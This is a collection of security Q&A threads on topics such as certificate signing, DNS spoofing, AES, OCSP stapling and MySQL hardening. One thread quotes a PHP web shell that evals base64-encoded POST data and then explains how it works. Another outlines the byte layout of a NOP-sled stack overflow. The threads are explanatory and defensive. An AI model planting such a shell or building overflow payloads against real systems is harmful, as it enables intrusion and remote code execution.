Are Let’s Encrypt wrapper services secure? There are a number of web based portals that purport to make installation of free SSL certificates user friendly for non-technical users (ZeroSsl, SSLforFree). For lack of a better term I am calling these wrapper services.

As a relatively non-technical user, my question is are these wrapper services insecure, insomuch as the private CSR might be exposed to a third party?

You need to make sure your keep your private key private. It's as simple as that.

A CSR (certifcate signing request) does not contain your private key.

Services such as the ones you mention frequently offer two modes of operation:

You can upload a CSR and they will sign the certificate contained therein or
They can generate the CSR for you

While the latter one (they generate the CSR for you) is usually meant as convenience feature as you don't have to maintain the proper tools to reate a CSR on your own computer, it means in practice that they will generate a private key for you, which at the same time means they could easily keep a copy of your private key.

And anyone who is in possession of your private key may issue additional certificates with your name on it or revoke your certificates.

Which means in short words: As long as you make sure your private key never leaves your machine (i.e. you create the CSR locally on your machine and uplopad it) you can use any of those services without worries.

If you leave it to them to create the private key for you, you need to trust them that they will not cause any harm with it.


Can one prevent stack overflow by storing strings in memory backwards? Normal use:

  ------(buffer)------  --(ret)---
  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF
  89ABCDEF0123456789AB  CDEF  0123
  this is a string\0    bff5  a400

Stack overflowed:

  ------(buffer)------  --(ret)---
  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF
  89ABCDEF0123456789AB  CDEF  0123
  oh no you got hacked  cadf  aff0 \0

Could you prevent this by putting the initial value of the string in the last (or, if there are other variables, closest to last) memory slot (EB) and making each subsequent letter each previous slot? E.g.

  ------(buffer)------  --(ret)---
  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF
  89ABCDEF0123456789AB  CDEF  0123
  dekcah tog uoy on ho  bff5  a400 (no harm to ret pointer)

I understand there are better and more widely-accepted stack overflow preempts (canaries, noexec, ASLR). I'm just wondering. Would this fix the problem? Would it be technically feasible?

If your code doesn't protect from writing into adjacent memory spaces, then no you can't reverse the order and be protected from a buffer overflow. Reversing the way the string is stored just changes the shellcode payload arrangement (i.e. the payload may come first and the NOPS [x\00] may go in last). Like this:

  x\DEx\ADx\BEx\EF\x00x\00x\00

vs

  x\00x\00x\00x\DEx\ADx\BEx\EF

As you mentioned, there are much better coding practices that protect against buffer overflows.


What is this URL Injection piece of code mean? I don't know if it's considered or not to include a single piece of code that might be malicious. But recently my site was a victim of some URL injection. I was wondering if anyone can tell me what this piece of code does:

<?php
    $mujj = $_POST['x'];
    if ($mujj!="") {
       $xsser=base64_decode($_POST['z0']);
        @eval("\$safedg = $xsser;");
    } ?>
<?php

It's a PHP shell that reads and evaluates (runs) PHP commands sent to the shell via base64-encoded HTTP-POST messages.

It needs some value for x to pass the check, and then the b64-encoded PHP commands sent through the z0 value.


Why is brute forcing DH private key harder than calculating public key? Assuming shared parameters: prime p base g

Alice's private key is a and her public key is A, which is g ^ a mod p

Calcuating A requires g * g * g... a times. Modulus is applied whenever necessary.

If an attacker knows A, p, and g, why is it hard to calculate a?  Would he not just keep multiplying on g and seeing if he's achieved A?

I am not seeing what is fundamentally different between Alice's computation to create A from a, and Eve's computation to brute force a knowing A.  Can anyone provide some insight here?

Computing the public key is a problem of modular exponentiation, which can be done in O(log(e)) steps via exponentiation by squaring.

On the other hand, finding the private key is the discrete logarithm problem, for which no equally efficient algorithm exists. You just have to run through all the possible values and try them all. There are some better algorithms, such as Pollig-Hellman and Big Step-Little Step, but they are generally not applicable for the general case (the former is only efficient for numbers that decompose into small primes, for example)

This means that computing a modular exponent is vastly faster than a discrete logarithm. For a very large exponent, this effectively makes the exponentiation a one-way function.

...unless, of course, you have a quantum computer!


Installing Joomla with nobody:nobody user/group (CentOS/cPanel) If you are installing Joomla via cPanel's File Manager to your mywebsite.com (user mywebsite) account, you will upload the package to your server and extract the archive. All files will have the user and group according to your account mywebsite:mywebsite. You will have to change around three dozen directories and files and make them writable: http://goo.gl/EYjIPW and you can go ahead with the installation. All files created during the installation and later, using the Joomla platform will have the user and group nobody:nobody.

If you chown all extracted files to nobody:nobody, prior to installation, you won't have to bother about making the above-mentioned directories writable plus more than likely you will not run into any "Permission denied" errors later (changing the owner can be done after the installation as well).

The question, do you know any drawbacks of having the files owned by nobody:nobody? What are the pros and cons? And what about the files that are created by Joomla during and after the installation, these are by default owned by nobody:nobody.

Some daemons traditionally use nobody, so that if they are comprimised, the access they have is limited.  If you start assigning files to the nobody user, then if you do have a daemon running as that user, and it was comprimised in some way, then the attacker could potentially gain access to the files.  Given that the files are a website, and Joomla configuration files contain the database details in plaintext, this could be pretty disastrous for you.

It doesn't seem like a good idea to me, even if daemons that run as nobody are rarer nowadays - the idea of user per daemon allows for greater security against daemons communicating with each other spuriously.


Oracle (CVE-2016-2107) vulnerability on haproxy + Apache + (AWS vs private hosting) We have a privately hosted production system and an AWS machine we use for testing. Both systems have the same structure:

SSL termination with haproxy,
passing to an Apache server hosting a rails website,
plus a load of auxiliary services etc.

My attempts at hardening our system in haproxy:

ssl-default-bind-options no-sslv3
ssl-default-bind-ciphers ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:RSA+AESGCM:RSA+AES:!aNULL:!MD5:!DSS
ssl-default-server-options no-sslv3
ssl-default-server-ciphers ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:RSA+AESGCM:RSA+AES:!aNULL:!MD5:!DSS
tune.ssl.default-dh-param 2048

On AWS our system got an A on the Qualys SSL labs test (ignoring trust issues as we didn't pay for a verified certificate on our private test system).
On our production, the system got a solid F, citing the (CVE-2016-2107) vulnerability. Apparently the fix is to upgrade openssl version (presently 1.0.1e on both systems... !)

I'm curious, though, as to why this was an issue on our privately hosted server but not on AWS? I'm asking because we always try things out on AWS before our production machine to see if e.g. a software upgrade breaks anything, so I'd like to be aware of some intrinsic difference in that environment so that I don't get caught out on the live version...

Many thanks in advance.

My "potentially relevant comment" was actually the key. Because software updates can be fraught with compatibility issues, yum update doesn't update the openssl version (which both systems showed me was 1.0.1e) but instead updates the packages to include security patches. You can see that the version on AWS was more up-to-date than on production, but both packages related to the same 1.0.1e version (presumably, this means that the API is frozen in time against upgrades). Anyone interested can read more about it here:

https://access.redhat.com/security/updates/backporting

Yum update openssl means both systems now score an A on Qualys.


How large blocks does AES-cbc use with a 128 bit key and with a 192-bit key? I read on wikipedia that the AES with cipher block chaining and a 128-bit key uses blocks of size 128 bit to encrypt the data.

However, it also said that with a 192-bit key, there were still 128-bit blocks.

is this true?
If yes, why is this the case?

AES is a block cipher, actually three block ciphers.

A block cipher is a key-dependent permutation of values: it takes as input blocks (sequences of n bits for a given n; there are 2n such values) and outputs blocks of the same size. No two distinct input blocks will yield (for a given key) the same output block, and each of the 2n blocks is a possible output; that's what "permutation" means (it can be seen as a big shuffle of all the 2n values). The inverse permutation ("decrypt") can be efficiently computed (with the key, of course).

There are 2n! permutations over n-bit blocks; that's "factorial of 2n", a truly huge number: for n = 128, this is close to 1012963922773915897352048185492495741149019.37. The key "selects" which of these permutations is actually used. The block cipher is secure as long as this selection is "as if" it was random and uniform, i.e. we cannot distinguish the block cipher from a permutation which was selected randomly and uniformly in this large set.

Cryptographers tend to be practical people, so they want the key to be represented as a reasonably short sequence of bits; let's call k the size of the key. We want k to be large enough so that it is computationally unfeasible to enumerate of 2k keys. But since there are really many permutations to choose from, there is no problem in having very big keys.

We also want n (the block size) to be large enough in order to avoid some issues when the block cipher is used. Since a block cipher encrypts only blocks, it is rather inconvenient: when we encrypt, we usually want to encrypt messages with a variable and potentially large size. Thus come into play the mode of operation, aka "chaining mode", which specifies how a message is to be split into blocks, and how the encrypted blocks are glued back together. There are several modes; ECB is the simplest and it has weaknesses; CBC and CTR are the most widely used and they are OK... as long as we do not encrypt too many blocks with the same key. For n-bit blocks, trouble may appear once you process about 2n/2 blocks with the same key. We want n to be big enough, so that 2n/2 is so ludicrous that the situation will not arise.

Hence key size (k) and block size (n) are both dictated by security concerns, but not the same. In particular, there is no implicit rule that k and n should be equal to each other.

In 1997, NIST announced the AES competition: they wanted a secure and efficient block cipher to standardize. At that time, they had 3DES ("triple DES"), a block cipher with a 192-bit key and 64-bit blocks. The actual key size is lower: of the 192 bits, 24 are ignored right away, so the effective key size is rather 168 bits; moreover, the structure has a weakness which allows a theoretical attack with effort 2112, so 3DES is administratively said to offer "112-bit strength". That key size is still quite satisfying, but the existence of a known structural weakness is kind of worrying. More importantly, 64-bit blocks were turning out not to be enough: this implies a "chaining mode limit" at 232 64-bit blocks, i.e. 32 gigabytes. In 1997 multi-gigabyte hard disks were already common. So NIST said that they wanted the new block cipher to have 128-bit blocks (n = 128).

Also, in order to comply with some obscure military regulations, they wanted the block cipher to accept three distinct key sizes, so what NIST was asking for was really three block ciphers, but preferably three variants of the same underlying structure so that implementing all three in a given system remained cheap. The military regulations stated that there should be three "security levels", because these regulations were written at a time when cryptography was inherently weak and expensive, so the "strongest" methods were used quite sparingly (that was a time before the invention of the computer). NIST, in 1997, despite being a state organization, was smart enough to see that it could have already very good security with the smallest key size: there was no need to have a weak version of the cipher; they just needed some versions which could be claimed, in bureaucratic-speak, to be "stronger".

So NIST defined that the new algorithm(s) should accept keys of sizes 128, 192 and 256 bits. A 128-bit key is more than enough to ensure security in the foreseeable future. These sizes are multiples of 64, which is a power of 2, and programmers just love that.

Rijndael, the algorithm which was finally chosen as AES, complied to the competition rules like the other 14 candidates, and was specified with 128-bit blocks, and key sizes of 128, 192 and 256 bits. Actually, the Rijndael structure was also defined with blocks of size 192 and 256 bits, but NIST was not interested in such block sizes, and thus "AES" (the standard) is only with 128-bit blocks.

So the AES uses 128-bit blocks with a 192-bit or 256-bit key because:

it was defined that way;
that's what NIST asked for in the first place;
it is sufficient for adequate security.

Note that having keys longer than blocks was already common before the AES (see 3DES, IDEA, RC2, RC5...).


Bootstrapping an EC2 Spot Instance I'm considering using EC2 Spot Instances in an automated fashion (ie create a script that will request EC2 Spot Instances that will run unattended).

For this specific use case, I'm happy to lock down the security group such that there are no incoming connections allowed on the Spot Instances.

The only output of the script is to communicate with an RDS server.

I'm after a solution that allows me to spin up a request for a spot instance, and load the software required, including access to a database living on the RDS.

My primary concern is how to deliver the code in a secure way (including the DB Credentials).

What are the security concerns that need to be considered, and which method will provide the lowest risk?

My thoughts so far:

Having no incoming connections should mitigate common threats
Passing data to EC2 user-data is still a risk (storing passwords, or
access to code doesn't sound like a good idea to me)
In user-data, supply private details via S3 link that is set to
expire (difficult to do with spot instances as I don't know when the
Instance will be created)
Create script to limit access to user-data
Do I need to think of a more elaborate way to get data back from the
newly created spot instance, and then log into said instance and send
data via ssh?

Haven't tested it, but it should work.

Use IAM roles

  We designed IAM roles so that your applications can securely make API
  requests from your instances, without requiring you to manage the
  security credentials that the applications use. Instead of creating
  and distributing your AWS credentials, you can delegate permission to
  make API requests using IAM roles...

Create a private S3 bucket.
Store your credentials in the private S3 bucket.
Create an IAM Role and give it a policy that allows it to access the private S3 bucket.
When you create your spot instance, apply the IAM role.
Using ec2 user-data, use a bootstrap script.

call curl http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access to access the s3 security credentials.
Use the s3 credentials to download your database credentials from the s3 bucket created in #1.

You now have securely delivered your credentials to your instance.


DNS Spoofing vs DNS Cache Poisoning What is the difference between DNS Spoofing and DNS Cache Poisoning ???

It seems like there are little differences between two attacks, with an exception that DNS server is actually might cache the "fake" response from malicious DNS server.

Despite what Wikipedia may say, they are not the same.  Roughly speaking, DNS cache poisoning is one way to do DNS spoofing, but there are other ways to do it, too.

DNS spoofing refers to the broad category of attacks that spoof DNS records.  It is a category of attacks (an end goal of the attack, rather than a particular attack mechanism).  There are many different ways to do DNS spoofing: compromise a DNS server, mount a DNS cache poisoning attack (such as the Kaminsky attack against a vulnerable server), mount a man-in-the-middle attack (if you can get access to the network), guess a sequence number (maybe making many requests), be a false base station and lie about the DNS server to use, and probably many more.

DNS cache poisoning is one way to do DNS spoofing.  DNS cache poisoning refers to the following scenario: many end users use the same DNS cache, and an attacker manages to inject a forged DNS entry into that cache.  For example, many ISPs will run a caching DNS server and arrange for their customers (the end users) to all try the ISP's server first.  If an attacker can find some way to get the caching DNS server to cache an incorrect record, then the attacker is set: he has managed to successfully spoof DNS records and affect all the end users who rely upon that cache.

How does an attacker manage to poison a DNS cache?  Well, one common way is to mount some DNS spoofing attack on the DNS request from the cache to the ultimate DNS server.  Yes, I realize this gets a little recursive. :-)  Basically, you use any DNS spoofing attack to get the cache to accept a spoofed record (here you can use any DNS spoofing attack that you can).  Afterwards, the result is that the cache will cache that bogus record, and consequently many end users will now accept that spoofed record too.


How to mask SEPA (IBAN and BIC) information correctly? I'm currently developing a payment system where users can use SEPA-debit to pay for the service. The user has the ability to enter the data once and can then select the same payment method when making another payment in the future.

So in order for the user to select the proper account to debit, I need to show some information about her/his accounts. In the world of credit cards it is normal to mask all but the last 4 digits of the card number, e.g. XXXX-XXXX-XXXX-1234

Should I also hide all but the last 4 digits when displaying IBAN numbers? And should I do the same for the BIC, or is it safe to display the complete BIC number?

Unlike credit card numbers, IBAN numbers are not secret. If anyone knows your bank account number, they can derive the IBAN number from it. And they would need to know your bank account number to pay you.

Similarly, BIC is not a secret either.

That being said, a bank account number and other identifying information can sometimes be used to order things, so it might be a good idea not to show more information about a bank account number / IBAN than is necessary. This is also a trade-off between user privacy and user experience.

(The example scenario would be someone out to harm you, perhaps as vengeance for something. They obtain your bank account number, some other personal info, and start ordering things in your name. Obviously this is illegal and stupid, but it's not impossible. You could undo the harm, but it would take you time and effort that you'd prefer to spent in a more pleasant way).

The account number is almost always the last numbers of the IBAN, and usually the last numbers of the account identify the different accounts that a user may have at the same bank. Depending on which countries you are operating in, showing only the last 3 or 4 digits, along with the ID of the bank, should be enough.


Stack buffer overflow confusion I am trying to dig deeper into the nuts and bolts a stack buffer overflow using the classical NOP-sled technique.
Reading some articles and watching videos brought me to a confusion which can be demonstrated in these 2 pictures (which contradict each other unless I misunderstood something there).

This is a picture from Wikipedia's "Buffer_Overflow". What it basically shows is that the shellcode comes at the beginning of the input, followed by NOPs. Then comes a relative jump to another NOPs section which lead to a jump to the shellcode memory address location.
What I don't understand is this: We basically aim to overwrite the return address, that in turn will point to the shellcode location - But this is not what I am seeing in the picture, all I see is "relative jumps" to NOP areas which ultimately lead to the shellcode - But what about the return address? Seems like it is being skipped.
The next picture is this (taken for a slideshow):

In the slideshow it is said that the black area represents a NOPs area, which in turn leads ultimately to the shellcode, and only then do we see the return address. So if my shellcode begins with NOPs followed by the shellcode, how where and when exactly do I get to the return address (that should point to the NOPs>>>Shellcode)?
I tried not to make question overly clumsy and complicated (because of too much words) and I hope the question is clear.

There are two "unknowns" that the attacker has to contend with.

First, the attacker is overflowing a buffer, supposedly on the stack, and among the bytes which follow the buffer in RAM are the bytes which store the "return address" where execution jumps after the current function is finished. The attacker wants to overwrite these bytes with another address, making the CPU jump into code written by the attacker. The first unknown is then: "what is the distance between the buffer (that is overflown) and the return address slot ?". The attacker must guess that, so as to know at which point in the attacker-provided data the "return address replacement" must be set.

The second unknown is the actual address of his shell code. In a traditional buffer overflow on the stack, the shell code is part of the data which triggers the overflow, i.e. it is in the buffer. The return address is absolute so it is not sufficient for the attacker to know the code of the attacked function; the attacker must also know what is the stack depth at that moment, and this depends on previous application behaviour.

The NOP slide, or NOP sled, is a simple technique to cope with accuracy issue for the second unknown. When the attacker guesses the address of his shell code with some possible jitter, then the attacker puts a lot of nop opcodes (or similarly harmless opcodes) before his shell code; thus, it suffices that the CPU jumps somewhere in the sled in order to make it, ultimately, reach the shell code.

For the first unknown, the tool is not a NOP sled, but another kind of sled. Simply put, the complete overflow will look like this:

90 90 90 90 90... 90 shellcode addr addr addr... addr

where shellcode is the actual payload, 90 is the hexadecimal code for the nop opcode, and addr is the attacker's guess of the buffer start address in RAM. When the overflow occurs, one of the addr values will overwrite the return address slot, and make the CPU jump at address addr; which one of the addr does the trick is the "first unknown" described above. Usually, the "first unknown" is not that unknown, because it only depends on the layout of local variables in the function itself, which is known through reverse-engineering (disassembly).

The attacker has guessed that the byte at address addr will be one of the 90, so execution jumps there. Which one is not very important, because the CPU will proceed to execute all subsequent nop opcodes and then reach the shellcode.

The pictures you show are indeed quite confusing. They seem to relate to more complex cases where the attacker, for some reason, cannot put his shell code immediately after the NOP sled, but at some place before the NOP sled, so he must then arrange for an appropriate jump at the end of the sled (jump opcodes use relative addressing, so that jump is easy to get right).


Should webservers staple unsuccessful OCSP responses? My primitive understanding of OCSP is that:

Assertions are signed by the CA and valid for a short period.
Stapling refers to the practice of pushing the OCSP request work onto the webserver, and then caching the (CA signed) response and spitting it back out to clients using the "status request" extension.
The OCSP server may be down, in which case it may not be possible to get a successful response to staple.

I'm seeing OpenSSL report that the server is sending this OCSP data:

OCSP response:
======================================
OCSP Response Data:
    OCSP Response Status: trylater (0x3)
======================================

Why would this ever happen? Surely the webserver should be sending the last valid, successful OCSP response it has cached? Hell, isn't sending nothing at all (and having the browser do the request itself) preferable to stapling trylater?

The webserver behaviour described is undesirable and appears to be due to a Apache configuration default for the SSLStaplingReturnResponderErrors setting. There have been numerous online posts questioning the logic behind these configuration defaults.

Additionally, alternative webserver implementations do not follow suit. Caddy will not serve stapled responses if there was an error when calling ParseResponse which results from a non-success ResponseStatus such as TryLater. This ensures that the user gets the latest available OCSP staple which is valid.

The approach is clearly optimal for ensuring the user maintains access to the site even when OCSP responders are offline or having difficulties. There is a trade-off between security and site availability, but given the short lifetime of OCSP responses this seems quite a reasonable solution. The browser can decide if it's willing to accept the last-known-good response.

A response of "the CA said the cert was valid at $timestamp" will allow the user agent to make a much better, informed decision than a "OCSP server didn't give us anything, try later" response.


How can I connect a USB device to a virtual machine while bypassing the host? From time-to-time it would be useful to connect an untrusted USB device to my computer. If I could connect it directly to a virtual machine, bypassing the host. that would be secure enough for me. I realise that's not zero risk, but it would be good enough.

However, with VirtualBox, there's no obvious way to do that. If a device is connected to the host, you can reconnect it to the VM. But by that point it's too late - a USB keyboard could have entered malicious keystrokes, or a USB CD could have autorun malware.

Is there a way to connect directly to a VM? I'm happy with an answer that uses any virtualisation software.

Well you have a chicken and egg problem here. For the hypervisor to give a USB device directly to a VM, it must first be able to identify it, by comparing its vendor id and product id with what is declared for the guest.

So you can (on recent VirtualBox versions on Windows hosts) pass an USB device directly to the guest with only a minimal action of the host(*) (just read ids but do not mount the device), provided you can be sure of the vendor id and the product id. But you cannot know that before you have mounted the device... And I have only used VBox on Windows, so I cannot say more for other host OSs

(*) According to its documentation, VirtualBox declares

  On Windows hosts, a kernel mode device driver provides USB proxy support. It implements both a USB monitor, which allows VirtualBox to capture devices when they are plugged in, and a USB device driver to claim USB devices for a particular virtual machine.


Why don't services like Have I Been Pwned send email if you haven't signed up? When a database is breached and my password and email have been leaked I can go onto have I been pwned? and I can see that my password has been leaked. But why wouldn't the service send out an email notifying me of my leaked password WITHOUT signing up for getting notified?

In my experience, a lot of senior people find out that their password management is poor (same password everywhere) after they've been hacked and potentially lost money. Now they could've received an email notifying them of all their hacked passwords and the shock could force them to use a password manager.

I think the main reason this doesn't exist is that there are way too many emails to send. If you sum up a list of leaked services for every user, you'd have to send millions or billions of emails (even if spread out over multiple years) and this would probably get you blocked on every mail service.

What are the other reasons that this service doesn't exist?

First of all, Have I Been Pwned (HIBP) is not an authority, but a free service provided by Troy Hunt. There are actually many similar service providers, e.g. (some alternatives in an alphabetical order):

Avast Hack Check
BreachAlarm by Avalanche Technology Group
DeHashed
Firefox Monitor
F-Secure Identity Theft Checker
Hacked Leaks Checker (Android App)
Have I Been Sold by Bitfalls

Think what would happen if all of them starts sending you emails every time your address is involved in a breach! On the other hand, detecting a security breach typically takes long and only portion of the stolen data is ever made publicly available; e.g. in HIBP some of the data is added only days after the breach, but sometimes it takes years. There's a good chance some of the email addresses wouldn't even be in use anymore, even if there was a single authority sending that kind of notifications. Some of the addresses could even be faked.

BTW, not sending unsolicited emails to everyone is not the only way Mr. Hunt respects your privacy; you could even opt-out being publicly listed on the service.


How to avoid writing .pem while signing a csr? I am using following command to sign a certificate,

openssl ca \
           -in client.csr \
           -keyfile server.key \
           -cert server.crt \
           -outdir ./some_dir \
           -policy policy_anything \
           -batch \
           -out client.crt \
           -notext

For each signing, it creates a .pem file in directory specified with -outdir option. I don't need .pem files anymore because I have specified required filename with -out option.

I tried it without -outdir option but in that case it used default outdir specified in openssl.conf. I know removing .pem after creation is a way, but looking for better way to handle this. How can I avoid unwanted .pem file creation?

Thanks for your time!

Sorry, per the sourcecode you can't prevent the writing of $outdir/$serial.pem and still get your (desired) -out. You could put $outdir someplace like /tmp that gets discarded frequently; or on an OS that allows you to add new filesystem types (Linux at least) you could create a filesystem type that implements a directory such that anything created in it is discarded -- but that seems a lot of work to avoid creating a few files that don't hurt anything.


Quantifying risk of not upgrading Android (ie Android 8.1 to newer version) I am running an Android One (ie vanilla Android supported by Google) phone which has Android 8.1.  I have unlocked the bootloader and rooted my device.

Because I've rooted my device I have not been able to apply "System Updates" to my phone for close to a year.  Revisiting the available versions I see new versions are Android 9, and will require a full reinstall.

I realised I really like my system as is and dont want to make any changes and indeed I'm concerned of the possibility of some cool functionality may be disabled (like ability to change MAC address, ability to stop charging phone at a preset level).

From a security POV, what are the real risks of running on an outdated version of Android 8.1, assuming I am judicious about the Apps I install and don't go clicking on adverts/spam?

From a security POV, you're exposing yourself to every security vulnerability that has been patched since you last applied updates. There's far too huge a number to really be aware of every single security flaw, but you can get a decent idea by looking at the List of Android Security Vulnerabilities and using the buttons at the top to include only higher scoring vulnerabilities (such or 8 or 9). Most of the 9s don't require installing anything. Some of them don't even require user interaction, for example CVE-2018-9476 which exploits the Bluetooth driver without requiring any user action.

The bottom line is that updates exist for a reason, and when you're talking about updates to the operating system itself, you can't assume that there's any action you can take that will negate every possible vulnerability other than installing updates. If you do choose to accept the risk of operating without updates, I would absolutely recommend keeping up to date on Android Security Bulletins and looking for new vulnerabilities which would apply to your device and OS which are marked critical to determine if you're willing to accept the risk posed or if you feel you need to update after being aware of what your system is vulnerable to.


WAFDetect Extension of Burpsuite I am creating a list of tools for waf fingerprinting.
I have installed waf-detect plugin from bapp store in burpsuite.
This plugin runs in the background and create passive scanner issues when WAF traces are detected. How I can see the result of this plugin? I didn't find any new tab in burpsuite to check the output of this plugin.
Can you suggest me some tools for waf fingerprinting.
Currently best tool I found is https://github.com/EnableSecurity/wafw00f

You can see the issues in Target > Site map. Select a node in the left-hand tree and the related issues appear on the right.

Suggesting tools is a separate question. This site tends to close questions that ask for tools recommendations. To maximize your chances, phrase your question as "How do I...?"


Why does Google not block logoff CSRF? Google is a famous example of not blocking CSRF on logout/logoff pages.

  Some vulnerability reporters contact us about the ability to log out
  Google users by navigating their browser to a particular URL. In some
  ways, this behavior is undesirable, but we believe that it cannot be
  reliably addressed on the modern web: for example, malicious websites
  may also simply overflow the browser cookie jar and drop your
  authentication cookies for other websites on the Internet.

The as of today most popular answer to Must login and logout action have CSRF protection? disagrees, citing phishing concerns.
The second most popular answer says it's not necessary, but the attack could cause inconveniences.
The third answer says protection is a must.

Why does Google take a contrary stance here? Why does Google keep this stance and/or, why do so few individuals seem to agree?

Note: Numerous places online reference the fact that Google has discussed this "ad nauseum," but I didn't find the actual discussions.

Edit: It's not just Google, but many major sites do this.

Edit 2: This question is not a duplicate of Must login and logout action have CSRF protection? because I am not asking whether a page needs to have logout CSRF protection or not. I am asking

What Google's reasoning for their stance is (they provided only a portion of their reasoning in the quoted excerpt) and
Why there is an apparent division between Google and the answers on that question.

This question is primarily trying to unpack the reasoning for Google's security decision, a detailed case study rather than a broad treatment.

Logoff CSRF has no real impact.  CSRF is also called a "session riding" attack, in which an adversary wants to use the authenticated session to have some useful side-effect. Ending the session is counter-productive to a real compromise - such as changing the email or password on a target's account.

Most features are vulnerable to CSRF by default, and the developer has to go out of their way to stop the problem.  Google search is also affected by CSRF, and it has no impact, because this request doesn't have an interesting side-effect. A google search request only displays interesting data which the attacker cannot see.


How do I use Skein's Stream Cipher? I understand the NIST hash function competition candidate Skein comes with a built-in block cipher, Threefish, that is turned into a stream cipher by using Unique Block Iteration chaining (is that right?).

The pyskein implementation makes this particulary easy to use:

import os
import skein

data = b'Hello World!'
key = b'thisisasecret'
nonce = os.urandom(32)

c1 = skein.StreamCipher(key, nonce=nonce, hasher=skein.skein1024)
c2 = skein.StreamCipher(key, nonce=nonce, hasher=skein.skein1024)

print(c2.decrypt(c1.encrypt(data)))

But, as the algorithm is comparatively new, I have a whole load of question that culminate in "How do I use it properly?"

How long should the nonce be?
Do I still need to use PBKDF2? (i.e. does this thing do any key stretching of its own?)
Do I still have to authenticate the message?
What happens if I don't give it a nonce?
How do I use all of the optional arguments?
Why should / shouldn't I use it?

I'm not a cryptographer, and there doesn't seem to be any easy to understand documentation on the Threefish part of Skein. Yet the algorithm seems really nice. So I'm hoping you can help me out. :-)

You should not deploy Skein-based software yet.

Internally, Skein is built around a custom block cipher (Threefish) which can be used as a stream cipher or a MAC, but nobody is really looking at the inherent security of Threefish yet, only as how it provides a good hash function, and even for that usage, the verdict has not been reached yet. It takes years of scrutiny to decide that a given algorithm "looks decently secure". A one-size-fits-all primitive has a tremendous appeal, especially for embedded systems with limited space for code, but it will take a few more years before one could officially deem Threefish as secure. Roughly speaking, if Skein is chosen as SHA-3 (by the end of 2012), then it is probable that Threefish will begin to be investigated as an encryption primitive, in which case it could be declared as "seems good" by, say, 2016. You will have to be patient.

Another reason why you should wait a bit is that Skein and/or Threefish may still be subject to modifications. At regular intervals, SHA-3 candidates can be "tweaked" (slight modifications designed in the light of prior analysis). Skein was tweaked for second round of the SHA-3 competition, then tweaked again for third round. Which version is implemented in pyskein ? There's room for interoperability nightmares here.

As for your other questions:

Skein / Threefish does not incorporate any automatic key stretching.
Skein as a stream cipher is a stream cipher, not an authenticated stream cipher. It does only encryption. Skein may also be used to compute authentication (as a MAC) but there may be issues to take into account if you want to use the same key for both usages (i.e. don't do it unless you are sure it is safe, and quite frankly I am not sure).
The "nonce" should be an arbitrary string, not really limited in length. In the general Skein description, the nonce and the message to hash (when hashing) use the same input mechanisms. Skein as a stream cipher is "just" a hash function with a key, no input, but a very long output.

Of course, pyskein may add arbitrary limitations, so I refer you to the pyskein documentation, if it exists at all.


Securing MySQL server from remote connection I need to open the port for my MySQL server to the outside and from what I read, the default configuration is not secure nor encrypted.

For that I have a few solutions in mind with their reason but I'd like to know, from a better security point of view, if I'm missing something.

First, the initial idea was to setup an SSH tunelling, but I'm afraid the connection could be lost from time to time (even if I setup with "autossh" system to automatically reconnect when the connection stops).
My main concern is that I'm afraid to lost some request (between the moment the ssh tunelling stops, and the time autossh takes up a new connection).

So I thought about opening MySQL for the outside. I'm aware this is not the best option without working on securing it, but if I add those steps, would it be better ?

Change the port for the outside. This won't stop someone to find the correct port, but it will at least stop the bots that targets directly 3306
Set up Mysql SSL. This will stop transmitting data in clear between the client and the server, and avoid MitM attacks.
Allow only from certain IPs. This will ensure only the IPs I want will be able to connect. This would be managed by IPtables
root will be only available from localhost. And all other users will have restricted access (to their database)

With this configuration in mind, do you think MySQL would still be vulnerable ?

My only idea is if someone would access my web server, and knows the login/password, but I believe that once someone has the login/password, security becomes useless (because it has already been breached to obtain the credentials)

The specific issues depend to some extent on the precise reasons you're opening the server in this way. However, I'm not sure what the difference between a direct MySQL connection dropping (which could happen anyway) and an SSL tunnelled connection dropping, in terms of levels of worry.

Changing the port is essentially security by obscurity. It might reduce the number of attacks seen slightly, but I've never seen particularly high levels of traffic against any database ports when compared with what is commonly seen against, say, SSH ports. There is no harm in doing it, as long as it is not the only security precautions taken. Don't expect it to stop anyone targeting your server specifically though.
SSL Connections for MySQL are sensible. Make sure your clients are aware of the specific certificate to expect, else it would be possible for a MitM attack to take place by interception and re-encryption (client->attacker is encrypted with attacker cert, attacker decrypts and sends to server using server cert, server responds to attacker, who re-encrypts the data to return to client)
IP restrictions are good. You can apply defence in depth here - IPTables to allow for connections to the server, then specific users within MySQL to only be allowed from specific source IPs. Be aware of any users coming from dynamic or shared IP ranges - this mostly applies to users who require access from mobile devices in some countries, but can also result from corporate NATs.
This is also good. Ensure that root still has a strong password, and does not rely on access from localhost as the only security precaution - in particular, allowing access to specific hosts indiscriminately, even if that is localhost, is a bad idea, since it weakens the security level to that of the lowest privilege user with access to that host.

However:

Are your clients storing access passwords in an unencrypted form? (e.g. are they using software to access the system which doesn't restrict access to the passwords if they click "remember my password"?) This might be addressed by policy (saying "don't click remember my password") or by technology (enforcing a specific client which doesn't have this function, or safely implements the function)
Is the stored data sensitive enough to warrant at-rest encryption?
Are you storing logs for the system, and monitoring these regularly?
Does the web server have access to any data it does not specifically require? (e.g. if it doesn't need to be able to read the MySQL users table, has it been prevented from doing so?)

Essentially, without knowing the specific details of your setup, any answer can only offer suggestions of what would normally be considered "secure enough". For a bank or for medical records, I would suggest that your setup is not secure enough, and that you should get in a specialist to help secure it fully. For a brochure website, with no transaction data, and no customer data, it's probably fine. For anything between them, it varies.


Are there approaches/mechanism to detect hardware backdoors? Background:

A nice Chinese based manufacturer (AllWinner Technology Co.Ltd) produces very useful SoC used boards that often claim to be open source hardware.

Question:

If need be is there by way of logic and testing a way to find out or at least estimate if there are hardware backdoors on the device.
My understanding here of a backdoor is anything inside the electric/logic scheme of the SoC designed with the purpose to coduct an attack.

What this question is looking for is at best a most comprising list of concepts/approaches that have been used for testing against backdoors in hardware.

Remarks:
